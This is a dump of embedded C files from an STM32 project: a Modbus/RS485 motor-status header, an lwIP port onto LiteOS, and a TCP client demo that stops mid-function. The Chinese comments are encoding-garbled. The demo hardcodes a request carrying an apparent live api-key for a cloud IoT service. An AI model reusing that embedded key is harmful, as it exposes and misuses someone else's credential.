//#define USART1_DR_Base 0x40013804 // 0x40013800 + 0x04 = 0x40013804
//#define SENDBUFF_SIZE 5000
#define RS485_USART USART2
#define RS485_USART_CLK RCC_APB1Periph_USART2
#define RS485_USART_BAUDRATE 115200
#define RS485_USART_RX_GPIO_PORT GPIOD
#define RS485_USART_RX_GPIO_CLK RCC_AHB1Periph_GPIOD
#define RS485_USART_RX_PIN GPIO_Pin_6
#define RS485_USART_RX_AF GPIO_AF_USART2
#define RS485_USART_RX_SOURCE GPIO_PinSource6
#define RS485_USART_TX_GPIO_PORT GPIOD
#define RS485_USART_TX_GPIO_CLK RCC_AHB1Periph_GPIOD
#define RS485_USART_TX_PIN GPIO_Pin_5
#define RS485_USART_TX_AF GPIO_AF_USART2
#define RS485_USART_TX_SOURCE GPIO_PinSource5
//ๆถๅ็ฎก่
#define RS485_GPIO_PIN GPIO_Pin_11
#define RS485_GPIO_PORT GPIOD
#define RS485_GPIO_CLK RCC_AHB1Periph_GPIOD
#define digitalHi(p,i) {p->BSRRL=i;} //่ฎพ็ฝฎไธบ้ซ็ตๅนณ -- reference bsp_led.h
#define digitalLo(p,i) {p->BSRRH=i;} //่พๅบไฝ็ตๅนณ
#define RS485_TX_ON_RX_OFF digitalHi(RS485_GPIO_PORT,RS485_GPIO_PIN)
#define RS485_RX_ON_TX_OFF digitalLo(RS485_GPIO_PORT,RS485_GPIO_PIN)
/** RS485 */
#define NUM_TX_BUFF 128 //ๅฎไนๅ้็ผๅฒๅบๅคงๅฐ
#define NUM_RX_BUFF 128 //ๅฎไนๆฅๅ็ผๅฒๅบๅคงๅฐ
enum{
MODBUS_03 = 0x03, //03ๅท ่ฏปๅฏๅญๅจ
};
enum{
MODBUS_03_SUB_06= 0x06, //03ๅท ่ฏปๅฏๅญๅจ็ๅญ็ฑปๅซ - ็ตๅจๆบ่ฟ่ก็ถๆ
MODBUS_03_SUB_07= 0x07 // - ็ตๅจๆบ็ๆจกๆ้
};
/** bool */
#ifndef TRUE
#define TRUE 1
#endif
#ifndef FALSE
#define FALSE 0
#endif
/** modbus ๅบๅๅฏนไพง่ฎพๅคๅฐๅ */
#define MODBUS_ADDRESS_SLAVE 0x01
/** Modbus Struct */
typedef struct {
uint16_t address; //้่ฎฏๅฐๅ 0~255
/**ๆฅๅ**/
uint8_t RxBuff[NUM_RX_BUFF]; //ๆฅๅ็ผๅฒๅบ
uint16_t RxLen; //ๆฅๅ้ฟๅบฆ
uint16_t RxCount; //ๆฅๅ่ฎกๆฐ
/**ๅ้**/
uint8_t TxBuff[NUM_TX_BUFF]; //ๅ้็ผๅฒๅบ
uint16_t TxLen; //ๅ้้ฟๅบฆ
uint16_t TxCount; //ๅ้่ฎกๆฐ
/**ๆฏๅฆๆๆฐๆฅๆๆชๅค็ๆ ๅฟ**/
uint8_t bNew; //TRUE: ๆๆฐ็ไธๅ
ๆฐๆฎ้่ฆๅค็
/**ๆฏๅฆๆๆฐๆฎๆญฃๅจๅ้ๆ ๅฟ**/
uint8_t bSend; //TRUE: ๅ้ๆฐๆฎ
// volatile uint32 RxTimer; //ๆฅๅๆถ้ด่ฎกๆฐๅจ
// volatile uint32 TxTimer; //ๅ้่ถ
ๆถ่ฎกๆฐๅจ
// volatile uint32 OpTimer; //ๆไฝ่ถ
ๆถ่ฎกๆถๅจ
// volatile uint32 ExTimer; //ๆฉๅฑ่ฎกๆถๅจ๏ผ็จไบๆไบ็นๆฎๅ่ฝ
//modbus ็งๆๆฐๆฎ็ฑปๅ - ๆฅๆถ
uint16_t modbusRxCRC; //ModbusCRCๆ ก้ช
uint8_t modbusCode; //ๆฅๆ็นๅพ็
}TBuffModbus;
//็ตๅจๆบ็ถๆ
enum{
STATUS_STOP =0x00, //ๅๆญขๆ
STATUS_STARTING, //ๅฏๅจๆ
STATUS_RUN //่ฟ่กๆ
};
//็ตๅจๆบ่ฝฌๅ ๆญฃๅ/ๅๅ
enum{
STATUS_POSITIVE, //ๆญฃๅ
STATUS_NEGATIVE //ๅๅ
};
typedef struct{
uint8_t motor_status_now:3; // ็ตๆบๅฝๅ็ถๆ - ๆฏๆฌก modbus ไธ้็็ตๅจๆบ state ๆฅๆ้ฝไผๆดๆฐ่ฟไธชๅผ,
uint8_t motor_status_last:3;// ็ตๆบ็ไธไธไธช็ถๆ - mqttไธญไผๆฏ่พ _now ไธ _last ๆฏๅฆไธๅ, ่ฅๆฏไธๅๅไธ้ mqtt ็ตๆบ็ถๆๅ็ๅๅ
uint8_t motor_dir:2; // ็ตๅจๆบ่ฝฌๅ ๆญฃๅ/ๅๅ
}S_Status;
// ็ตๅจๆบ็ถๆ - Modbus ๅ่ฝ็ 0x03 ๅ็ฑป็ 0x06;
typedef union{
uint8_t ui;
S_Status s;
}TStatus;
//็ตๅจๆบๆต้ๅผ - Modbus ๅ่ฝ็ 0x03 ๅ็ฑป็ 0x07;
typedef struct{
/***ไธ็ธ็ตๆต - ๆต้้***/
uint16_t Meas_Ia;
}TMeasure;
typedef struct {
TStatus Status;
TMeasure Measure;
}TMotor;
extern TMotor stMotor; /** mqtt ๅค็ๆถ้่ฆ็ global ๅ้ */
/*------------------------------------------------------------------*/
/** ๅฎไนไธไบ็จไบ็ปดๆ OS ๆถ้ด็ๅ้, ่ฟไบๅ่ฝๅฎ็ฐๅๅฏไปฅ ็จไบๅฝๆฐ HAL_UptimeMs() ็ญ */
/** ๅๆถ่ฟ้่ฆ็ปๅ OS tick ๅๆขไธญๆญๅฝๆฐ, ๅ ไธบ่ฏฅๅฝๆฐ่ฟ้ๆฏ 1ms ไธญๆญ 1 ๆฌก */
/**
* ๆฅๆๆถ้ด๏ผ็ฒพ็กฎๅฐๆฏซ็ง
* ๅนด็่กจ็คบๆนๅผไธบไธคไฝ๏ผๆฏๅฆ2007ๅนด๏ผๅฐฑ่กจ็คบไธบy=7
*/
typedef struct {
uint8_t y; //ๅนด
uint8_t mon; //ๆ
uint8_t d; //ๆฅ
uint8_t h; //ๆถ
uint8_t min; //ๅ
uint8_t s; //็ง
uint16_t ms; //ๆฏซ็ง
}TDateTime;
extern TDateTime stNowTime;
uint8_t CheckOSTime(TDateTime * pTime);
void InitOSTime(TDateTime * pTime);
inline void OSTimeAddSecond(TDateTime * pTime);
/*------------------------------------------------------------------*/
/** Function API - Motor State */
/** ่ฏปๅ/่ฎพ็ฝฎ็ตๆบ็ถๆ */
#define GetMotorStatusNow() (stMotor.Status.s.motor_status_now)
#define SetMotorStatusNow(status) (stMotor.Status.s.motor_status_now=(status))
#define GetMotorStatusLast() (stMotor.Status.s.motor_status_last)
#define SetMotorStatusLast(status) (stMotor.Status.s.motor_status_last=(status))
/** Function API - Modbus */
void RS485_USART2_Config(void);
void Modbus_OnSend(TBuffModbus *pBuff);
void Moubus_OnRecvive(TBuffModbus *pBuff);
void ModbusProc_InTask(TBuffModbus *pBuff);
#endif /* __USART2_H */
```
sys_arch.c
```/*
* Copyright (c) 2001-2003 Swedish Institute of Computer Science.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* 3. The name of the author may not be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
* SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
* OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
* IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY
* OF SUCH DAMAGE.
*
* This file is part of the lwIP TCP/IP stack.
*
* Author: Adam Dunkels <adam@sics.se>
*
*/
#define SYS_ARCH_GLOBALS
/* lwIP includes. */
#include "lwip/debug.h"
#include "lwip/def.h"
#include "lwip/sys.h"
#include "lwip/mem.h"
#include "lwip/stats.h"
#include "includes.h"
#include "arch/sys_arch.h"
#include "include.h"
/*----------------------------------------------------------------------------*/
/* DEFINITIONS */
/*----------------------------------------------------------------------------*/
/*----------------------------------------------------------------------------*/
/* VARIABLES */
/*----------------------------------------------------------------------------*/
u32_t sys_now()
{
return LOS_TickCountGet();
}
/*-----------------------------------------------------------------------------------*/
// Creates an empty mailbox.
err_t sys_mbox_new(sys_mbox_t *mbox, int size)
{
osMessageQDef_t queue_def;
osThreadId thread_id;
(void ) size;
(void ) thread_id;
queue_def.queue_sz = MAX_QUEUES;
queue_def.item_sz = sizeof( void * );
queue_def.pool = NULL;
*mbox = osMessageCreate(&queue_def, thread_id);
return (*mbox == NULL) ? ERR_MEM : ERR_OK;
}
/*-----------------------------------------------------------------------------------*/
/*
Deallocates a mailbox. If there are messages still present in the
mailbox when the mailbox is deallocated, it is an indication of a
programming error in lwIP and the developer should be notified.
*/
void sys_mbox_free(sys_mbox_t *mbox)
{
osMessageDelete(*mbox);
}
/*-----------------------------------------------------------------------------------*/
// Posts the "msg" to the mailbox.
void sys_mbox_post(sys_mbox_t *mbox, void *data)
{
while (osOK != osMessagePut(*mbox, (uint32_t)data, LOS_WAIT_FOREVER));
}
/*-----------------------------------------------------------------------------------*/
// Try to post the "msg" to the mailbox.
err_t sys_mbox_trypost(sys_mbox_t *mbox, void *msg)
{
return (osMessagePut(*mbox, (uint32_t)msg, 0)==osOK) ? ERR_OK : ERR_MEM;
}
/*-----------------------------------------------------------------------------------*/
/*
Blocks the thread until a message arrives in the mailbox, but does
not block the thread longer than "timeout" milliseconds (similar to
the sys_arch_sem_wait() function). The "msg" argument is a result
parameter that is set by the function (i.e., by doing "*msg =
ptr"). The "msg" parameter maybe NULL to indicate that the message
should be dropped.
The return values are the same as for the sys_arch_sem_wait() function:
Number of milliseconds spent waiting or SYS_ARCH_TIMEOUT if there was a
timeout.
Note that a function with a similar name, sys_mbox_fetch(), is
implemented by lwIP.
*/
u32_t sys_arch_mbox_fetch(sys_mbox_t *mbox, void **msg, u32_t timeout)
{
void *dummyptr;
uint32_t StartTime, EndTime, Elapsed;
osEvent ret;
StartTime = osKernelSysTick();
if( msg == NULL ){
msg = &dummyptr;
}
if( timeout != 0 ){
ret = osMessageGet(*mbox, timeout);
if ( osEventMessage == ret.status ){
*msg = (void *)ret.value.v;
EndTime = osKernelSysTick();
Elapsed = (EndTime - StartTime);
return ( Elapsed );
}
// timed out blocking for message
else{
*msg = NULL;
return SYS_ARCH_TIMEOUT;
}
}
// block forever for a message.
else{
ret = osMessageGet(*mbox, LOS_WAIT_FOREVER);
while(osEventMessage != ret.status)
{
ret = osMessageGet(*mbox, LOS_WAIT_FOREVER);
} // time is arbitrary
*msg = (void *)ret.value.v;
EndTime = osKernelSysTick();
Elapsed = EndTime - StartTime;
return ( Elapsed ); // return time blocked TODO test
}
}
/*----------------------------------------------------------------------------------*/
int sys_mbox_valid(sys_mbox_t *mbox)
{
return (*mbox == SYS_MBOX_NULL) ? 0 : 1;
}
/*-----------------------------------------------------------------------------------*/
void sys_mbox_set_invalid(sys_mbox_t *mbox)
{
*mbox = SYS_MBOX_NULL;
}
/*-----------------------------------------------------------------------------------*/
// Creates a new semaphore. The "count" argument specifies
// the initial state of the semaphore.
err_t sys_sem_new(sys_sem_t *sem, u8_t count)
{
return (LOS_SemCreate(count,(UINT32 *)sem)==0) ? 0 : -1;
}
/*-----------------------------------------------------------------------------------*/
/*
Blocks the thread while waiting for the semaphore to be
signaled. If the "timeout" argument is non-zero, the thread should
only be blocked for the specified time (measured in
milliseconds).
If the timeout argument is non-zero, the return value is the number of
milliseconds spent waiting for the semaphore to be signaled. If the
semaphore wasn't signaled within the specified time, the return value is
SYS_ARCH_TIMEOUT. If the thread didn't have to wait for the semaphore
(i.e., it was already signaled), the function may return zero.
Notice that lwIP implements a function with a similar name,
sys_sem_wait(), that uses the sys_arch_sem_wait() function.
*/
u32_t sys_arch_sem_wait(sys_sem_t *sem, u32_t timeout)
{
UINT64 StartTime, EndTime, Elapsed;
u32_t ret;
StartTime = LOS_TickCountGet();
if(timeout != 0)
{
ret = LOS_SemPend((UINT32)*sem, timeout);
if(LOS_OK == ret)
{
EndTime = LOS_TickCountGet();
Elapsed = EndTime - StartTime;
return (Elapsed); // return time blocked TODO test
}
else
{
return SYS_ARCH_TIMEOUT;
}
}
// must block without a timeout
else
{
while(LOS_OK != LOS_SemPend((UINT32)*sem, LOS_WAIT_FOREVER))
{
}
EndTime = LOS_TickCountGet();
Elapsed = EndTime - StartTime;
return ( Elapsed ); // return time blocked
}
}
/*-----------------------------------------------------------------------------------*/
// Signals a semaphore
void sys_sem_signal(sys_sem_t *sem)
{
LOS_SemPost((UINT32)*sem);
}
/*-----------------------------------------------------------------------------------*/
// Deallocates a semaphore
void sys_sem_free(sys_sem_t *sem)
{
LOS_SemDelete((UINT32)*sem);
}
/*-----------------------------------------------------------------------------------*/
int sys_sem_valid(sys_sem_t *sem)
{
return (*sem == SYS_SEM_NULL) ? 0 : 1;
}
/*-----------------------------------------------------------------------------------*/
void sys_sem_set_invalid(sys_sem_t *sem)
{
*sem = SYS_SEM_NULL;
}
/*-----------------------------------------------------------------------------------*/
// Initialize sys arch
void sys_init(void)
{
}
static osPriority get_prio(int prio)
{
osPriority ret = osPriorityNormal;
if (prio >= 7)
{
ret = osPriorityRealtime;
}
else if(prio == 6)
{
ret = osPriorityHigh;
}
else if(prio == 5)
{
ret = osPriorityAboveNormal;
}
else if(prio == 4)
{
ret = osPriorityNormal;
}
else if(prio == 3)
{
ret = osPriorityBelowNormal;
}
else if(prio == 2)
{
ret = osPriorityLow;
}
else if(prio == 1)
{
ret = osPriorityIdle;
}
else
{
ret = osPriorityNormal;
}
return ret;
}
/*-----------------------------------------------------------------------------------*/
// TODO
/*-----------------------------------------------------------------------------------*/
/*
Starts a new thread with priority "prio" that will begin its execution in the
function "thread()". The "arg" argument will be passed as an argument to the
thread() function. The id of the new thread is returned. Both the id and
the priority are system dependent.
*/
sys_thread_t sys_thread_new(const char *name, lwip_thread_fn thread , void *arg, int stacksize, int prio)
{
osThreadId id;
osThreadDef_t thread_def;
thread_def.name = (char *)name;
thread_def.stacksize = stacksize;
thread_def.tpriority = get_prio(prio);
thread_def.pthread = (os_pthread)thread;
id = osThreadCreate(&thread_def, arg);
return (NULL != id) ? id : NULL;
}
/*
This optional function does a "fast" critical region protection and returns
the previous protection level. This function is only called during very short
critical regions. An embedded system which supports ISR-based drivers might
want to implement this function by disabling interrupts. Task-based systems
might want to implement this by using a mutex or disabling tasking. This
function should support recursive calls from the same task or interrupt. In
other words, sys_arch_protect() could be called while already protected. In
that case the return value indicates that it is already protected.
sys_arch_protect() is only required if your port is supporting an operating
system.
*/
sys_prot_t sys_arch_protect(void)
{
return LOS_IntLock();
}
/*
This optional function does a "fast" set of critical region protection to the
value specified by pval. See the documentation for sys_arch_protect() for
more information. This function is only required if your port is supporting
an operating system.
*/
void sys_arch_unprotect(sys_prot_t pval)
{
LOS_IntRestore(pval);
}
```
intelligent_fire_baiducloud.h
```/*********************************************Copyright (c)***********************************************
** Wuhan CCEM
**
**--------------File Info---------------------------------------------------------------------------------
** File name:
** Latest modified Date:
** Latest Version: V1.0
** Descriptions: Contains header files and defined the structures
**
**--------------------------------------------------------------------------------------------------------
** Created by: shhuang
** Created date: 2018-05-11
** Version: V1.0
** Descriptions: The original version
**
**--------------------------------------------------------------------------------------------------------
** Modified by:
** Modified date:
** Version:
** Descriptions:
**
*********************************************************************************************************/
#ifndef __INTELLIGENT_FIRE_BAIDUCLOUD_H
#define __INTELLIGENT_FIRE_BAIDUCLOUD_H
#ifdef __cplusplus
extern "C" {
#endif
/********************************************************************************************************
** Includes
*********************************************************************************************************/
/*********************************************************************************************************
** Function declaration
*********************************************************************************************************/
unsigned int creat_key_task(void);
unsigned int creat_lwip_poll_task(void);
#ifdef __cplusplus
}
#endif
#endif
/*********************************************************************************************************
END FILE
*********************************************************************************************************/
```
transport.h
```/*********************************************Copyright (c)***********************************************
** Wuhan CCEM
**
**--------------File Info---------------------------------------------------------------------------------
** File name:
** Latest modified Date:
** Latest Version: V1.0
** Descriptions: Contains header files and defined the structures
**
**--------------------------------------------------------------------------------------------------------
** Created by: shhuang
** Created date: 2018-05-11
** Version: V1.0
** Descriptions: The original version
**
**--------------------------------------------------------------------------------------------------------
** Modified by:
** Modified date:
** Version:
** Descriptions:
**
*********************************************************************************************************/
#ifndef __TRANSPORT_H
#define __TRANSPORT_H
#ifdef __cplusplus
extern "C" {
#endif
/********************************************************************************************************
** Includes
*********************************************************************************************************/
/*********************************************************************************************************
** Function declaration
*********************************************************************************************************/
void transport_open(void);
void transport_close(void);
void transport_sendPacketBuffer(unsigned char* buf, int buflen);
int transport_getdata(unsigned char* buf, int count);
#ifdef __cplusplus
}
#endif
#endif
/*********************************************************************************************************
END FILE
*********************************************************************************************************/
```
tcp_client_demo.c
```#define _TCP_CLIENT_DEMO_C_
#include "tcp_client_demo.h"
#include "./Bsp/systick/bsp_SysTick.h"
#include "./Bsp/usart/bsp_debug_usart.h"
#include "malloc.h"
#include "stdio.h"
#include "string.h"
#include "lb_timer.h"
#include "./Bsp/led/bsp_led.h"
#include "Wdt.h"
/*
*ๅ่ฝ๏ผSTM32F407VET6ไปฅๅคช็ฝๆ ธๅฟๆฟๆต่ฏไปฃ็ ๏ผ่ชๅจ่ทๅIP๏ผๅนถๅปบ็ซๆๅกๅจ๏ผๅฏ้่ฟITM็ไธฒๅฃๆๅฐๅฝๅๆฐๆฎไฟกๆฏ
* 1.ๅ
ณไบkeil5ๅฆไฝๅฎ่ฃ
๏ผ่ง้ขๆ็จใ็ฌฌ01็ซ 03 Keil5ๅฎ่ฃ
ๅๆณจๆไบ้กนใ ่ฏทๅฐไปฅไธ็ฝๅ่ทๅไธ่ฝฝๅฐๅ๏ผhttp://www.zkaifa.com/bbs/thread-12-1-1.html
* 2.ๅ
ณไบITMๅฆไฝไฝฟ็จ ๏ผ่ง้ขๆ็จใ็ฌฌ01็ซ 04 ฮผCOSไปฃ็ ไธ่ฝฝๅ็ฏๅขๅปบ็ซใ่ฏทๅฐไปฅไธ็ฝๅ่ทๅไธ่ฝฝๅฐๅ๏ผhttp://www.zkaifa.com/bbs/thread-12-1-1.html
*ๆบๆ๏ผๅฉๅผๅ็ฝ(www.zkaifa.com)
*่ฎบๅ๏ผwww.zkaifa.com/bbs
*ๆทๅฎ๏ผhttp://shop68304486.taobao.com/
*ไฝ่
๏ผliubinkaixin
*ๆถ้ด๏ผ2015-05-30
*ๅฃฐๆ๏ผๅฝๅ็ๆฌไป
ๆไพๆ ธๅฟๆฟๆต่ฏ๏ผไป
ๆไพ็ ็ฉถๅญฆไน ไฝฟ็จ๏ผ่ฅไฝไธบๅไธ็จ้ๅบ็ฐไปปไฝ้่ฏฏ๏ผๆไพๆนไธๆฟๆ
ไปปไฝ่ดฃไปป
*ๆ่ฐข๏ผ็จๅบๅ่ใๆญฃ็นๅๅญ@ALIENTEKใๆไพ็ๆบไปฃ็ ่ฟ่ก็ผๅ๏ผๅจๆญค้ๅธธๆ่ฐขไปไปฌ็ๅทฅ็จๅธไปฌ
*/
typedef struct{
INT8U ucMsgBuf[MAX_BUFFER_LEN];
INT32U dwLen;
}MSG_BUF_STRUCT;
//TCP Clientๆฅๆถๆฐๆฎ็ผๅฒๅบ
MSG_BUF_STRUCT tcp_client_recvbuf;
//TCPๆๅกๅจๅ้ๆฐๆฎๅ
ๅฎน
MSG_BUF_STRUCT tcp_client_sendbuf;
LB_TMRCB *TimerTcpPeriod;
LB_TMRCB *TimerTcpTimout;
LB_TMRCB *TimerSendTimout;
BOOL bSendBusy = FALSE;
BOOL bReConnFlag = FALSE;
const char get_requst[]="GET /devices/284289/datapoints HTTP/1.1\r\napi-key: UxvFGrtEFZMnfhwF6pa6zV5h9ZwA\r\nHost: api.heclouds.com\r\n\r\n";
//u8 uRemoteIp[4] = {121,40,173,197};
//u8 uRemoteIp[4] = {192,168,5,99};
//u8 uRemoteIp[4] = {192,168,11,196};
//const u8 *tcp_client_sendbuf="Explorer STM32F407 TCP Client send data\r\n";
//TCP Client ๆต่ฏๅ
จๅฑ็ถๆๆ ่ฎฐๅ้
//bit7:0,ๆฒกๆๆฐๆฎ่ฆๅ้;1,ๆๆฐๆฎ่ฆๅ้
//bit6:0,ๆฒกๆๆถๅฐๆฐๆฎ;1,ๆถๅฐๆฐๆฎไบ.
//bit5:0,ๆฒกๆ่ฟๆฅไธๆๅกๅจ;1,่ฟๆฅไธๆๅกๅจไบ.
//bit4~0:ไฟ็
u8 tcp_client_flag;
u8 connflag=0; //่ฟๆฅๆ ่ฎฐ
//่ฎพ็ฝฎ่ฟ็ซฏIPๅฐๅ
void tcp_client_set_remoteip(void)
{
u8 *tbuf;
//u8 uRemoteIp[4] = {192,168,5,99};
uart_dbg_printf((u8 *)"ๅฉๅผๅ็ฝ\n");
tbuf=mymalloc(SRAMIN,100); //็ณ่ฏทๅ
ๅญ
if(tbuf==NULL)return;
//ๅไธไธชIPไฟๆๅDHCPๅพๅฐ็IPไธ่ด
lwipdev.remoteip[0]=uRemoteIp[0];
lwipdev.remoteip[1]=uRemoteIp[1];
lwipdev.remoteip[2]=uRemoteIp[2];
lwipdev.remoteip[3]=uRemoteIp[3];
sprintf((char*)tbuf,"Remote IP:%d.%d.%d.%d",lwipdev.remoteip[0],lwipdev.remoteip[1],lwipdev.remoteip[2],lwipdev.remoteip[3]);//่ฟ็ซฏIP
uart_dbg_printf(tbuf);
myfree(SRAMIN,tbuf);
}
//ๅคๆญๅ้ๆฏๅฆ็ฉบ้ฒ
BOOL IsSendBusy(void)
{
return bSendBusy;
}
void SendTimout(void)
{
bSendBusy = FALSE;
DisLB_TMR(TimerSendTimout);//ๅ
ณ้ญๅ้่ถ
ๆถ
printf("ๆง่กTcpDataSend่ถ
ๆถ๏ผ\n");
}
//ๅ้ๆฐๆฎ
BOOL TcpDataSend(BYTE *buf,WORD len)
{
int i;
if(bSendBusy == FALSE)
{
printf("ๆง่กTcpDataSend\n");
for(i = 0;i < len;i ++)
{
tcp_client_sendbuf.ucMsgBuf[i] = buf[i];
}
tcp_client_sendbuf.dwLen = len;
bSendBusy = TRUE;
tcp_client_flag|=1<<7;//ๆ ่ฎฐ่ฆๅ้ๆฐๆฎ
EnLB_TMR(TimerSendTimout);
return TRUE;
}
return FALSE;
}
void key_check(void)
{
if(0 ==GPIO_ReadInputDataBit(GPIOB, GPIO_Pin_8))
{
printf("key fst down!\n");
//ๆณจๆ่ฟ้่ฆๅ1๏ผๅ ไธบๅญ็ฌฆไธฒๆๅไธไธช'\0'ไน็ฎ่ฟๅปไบ๏ผไผๅฏผ่ดOneNetๆๅกๅจไธ่ฏๅซ
TcpDataSend((BYTE *)get_requst,sizeof(get_requst)-1);
}
}
void TimerTcpPeroidCallBack(void)
{
static int t = 0;
t++;
if(t==200) //200ms
{
t = 0;
bReConnFlag = TRUE;
}
if(0 == (t%100))//100ms
{
key_check();
}
//่ฟไธชๆฏlwipๅ
ๆ ธ็ธๅ
ณ็๏ผๅฟ
้กปๅฎๆถ่ฐ็จ
lwip_periodic_handle();
}
void TcpTimout(void)
{
connflag=0;
tcp_client_flag=0;
}
//TCP Client ๆต่ฏ
void tcp_client_test(void)
{
struct tcp_pcb *tcppcb; //ๅฎไนไธไธชTCPๆๅกๅจๆงๅถๅ
struct ip_addr rmtipaddr; //่ฟ็ซฏipๅฐๅ
u8 *tbuf;
TimerTcpPeriod = LB_TMRCreate(1,TRUE,(TIMER_CB *)TimerTcpPeroidCallBack,(TIMER_CB *)0,(void *)0);
tcp_client_set_remoteip();//ๅ
้ๆฉIP
uart_dbg_printf((u8 *)"www.zkaifa.com\n");
tbuf=mymalloc(SRAMIN,200); //็ณ่ฏทๅ
ๅญ
if(tbuf==NULL)return ; //ๅ
ๅญ็ณ่ฏทๅคฑ่ดฅไบ,็ดๆฅ้ๅบ
sprintf((char*)tbuf,"Local IP:%d.%d.%d.%d\n",lwipdev.ip[0],lwipdev.ip[1],lwipdev.ip[2],lwipdev.ip[3]);//ๆๅกๅจIP
uart_dbg_printf(tbuf);
sprintf((char*)tbuf,"Remote IP:%d.%d.%d.%d\n",lwipdev.remoteip[0],lwipdev.remoteip[1],lwipdev.remoteip[2],lwipdev.remoteip[3]);//่ฟ็ซฏIP
uart_dbg_printf(tbuf);
sprintf((char*)tbuf,"Remote Port:%d\n",TCP_CLIENT_PORT);//ๅฎขๆท็ซฏ็ซฏๅฃๅท
uart_dbg_printf(tbuf);
uart_dbg_printf((u8 *)"STATUS:Disconnected\n");
tcppcb=tcp_new(); //ๅๅปบไธไธชๆฐ็pcb
if(tcppcb) //ๅๅปบๆๅ
{
IP4_ADDR(&rmtipaddr,lwipdev.remoteip[0],lwipdev.remoteip[1],lwipdev.remoteip[2],lwipdev.remoteip[3]);
tcp_connect(tcppcb,&rmtipaddr,TCP_CLIENT_PORT,tcp_client_connected); //่ฟๆฅๅฐ็ฎ็ๅฐๅ็ๆๅฎ็ซฏๅฃไธ,ๅฝ่ฟๆฅๆๅๅๅ่ฐtcp_client_connected()ๅฝๆฐ
}
TimerTcpTimout = LB_TMRCreate(2000,TRUE,(TIMER_CB *)TcpTimout,(TIMER_CB *)0,(void *)0);
TimerSendTimout = LB_TMRCreate(1500,FALSE,(TIMER_CB *)SendTimout,(TIMER_CB *)0,(void *)0);
while(1)
{
if(tcp_client_flag&1<<6)//ๆฏๅฆๆถๅฐๆฐๆฎ?
{
printf("ๆฅๆถๅฐ%dๅญ่ๆฐๆฎ:\n%s\n",tcp_client_recvbuf.dwLen,tcp_client_recvbuf.ucMsgBuf);
//ๅค็ๆฐๆฎ
tcp_client_flag&=~(1<<6);//ๆ ่ฎฐๆฐๆฎๅทฒ็ป่ขซๅค็ไบ.
}
if(tcp_client_flag&1<<5)//ๆฏๅฆ่ฟๆฅไธ?
{
if(connflag==0)
{
uart_dbg_printf((u8 *)"STATUS:Connected \n");//ๆ็คบๆถๆฏ
connflag=1;//ๆ ่ฎฐ่ฟๆฅไบ
}
}
else if(connflag)
{
uart_dbg_printf((u8 *)"STATUS:Disconnected\n");
connflag=0; //ๆ ่ฎฐ่ฟๆฅๆญๅผไบ
}
//400msๆฃๆตไพๆฌกๆฏๅฆ่ฆ้่ฟ
if(bReConnFlag == TRUE)
{
bReConnFlag = FALSE;
if(connflag==0&&(tcp_client_flag&1<<5)==0)//ๆช่ฟๆฅไธ,ๅๅฐ่ฏ้่ฟ
{
ReCntLB_TMR(TimerTcpTimout);
tcp_client_connection_close(tcppcb,0);//ๅ
ณ้ญ่ฟๆฅ
tcppcb=tcp_new(); //ๅๅปบไธไธชๆฐ็pcb
if(tcppcb) //ๅๅปบๆๅ
{
tcp_connect(tcppcb,&rmtipaddr,TCP_CLIENT_PORT,tcp_client_connected);//่ฟๆฅๅฐ็ฎ็ๅฐๅ็ๆๅฎ็ซฏๅฃไธ,ๅฝ่ฟๆฅๆๅๅๅ่ฐtcp_client_connected()ๅฝๆฐ
}
}
}
//ๅฎๆถๅจ่ฐๅบฆ็จ็๏ผๆพ่ฟ้ๅฐฑ่กไบ
LB_ExcTMR();
}
}
//lwIP TCP่ฟๆฅๅปบ็ซๅ่ฐ็จๅ่ฐๅฝๆฐ
err_t tcp_client_connected(void *arg, struct tcp_pcb *tpcb, err_t err)
{
struct tcp_client_struct *es=NULL;
if(err==ERR_OK)
{
es=(struct tcp_client_struct*)mem_malloc(sizeof(struct tcp_client_struct)); //็ณ่ฏทๅ
ๅญ
if(es) //ๅ
ๅญ็ณ่ฏทๆๅ
{
es->state=ES_TCPCLIENT_CONNECTED;//็ถๆไธบ่ฟๆฅๆๅ
es->pcb=tpcb;
es->p=NULL;
tcp_arg(tpcb,es); //ไฝฟ็จesๆดๆฐtpcb็callback_arg
tcp_recv(tpcb,tcp_client_recv); //ๅๅงๅLwIP็tcp_recvๅ่ฐๅ่ฝ
tcp_err(tpcb,tcp_client_error); //ๅๅงๅtcp_err()ๅ่ฐๅฝๆฐ
tcp_sent(tpcb,tcp_client_sent); //ๅๅงๅLwIP็tcp_sentๅ่ฐๅ่ฝ
tcp_poll(tpcb,tcp_client_poll,1); //ๅๅงๅLwIP็tcp_pollๅ่ฐๅ่ฝ
tcp_client_flag|=1<<5; //ๆ ่ฎฐ่ฟๆฅๅฐๆๅกๅจไบ
err=ERR_OK;
}
else
{
tcp_client_connection_close(tpcb,es);//ๅ
ณ้ญ่ฟๆฅ
err=ERR_MEM; //่ฟๅๅ
ๅญๅ้
้่ฏฏ
}
}
else
{
tcp_client_connection_close(tpcb,0);//ๅ
ณ้ญ่ฟๆฅ
}
return err;
}
//lwIP tcp_recv()ๅฝๆฐ็ๅ่ฐๅฝๆฐ
err_t tcp_client_recv(void *arg,struct tcp_pcb *tpcb,struct pbuf *p,err_t err)
{
u32 data_len=0;
struct pbuf *q;
struct tcp_client_struct *es;
err_t ret_err;
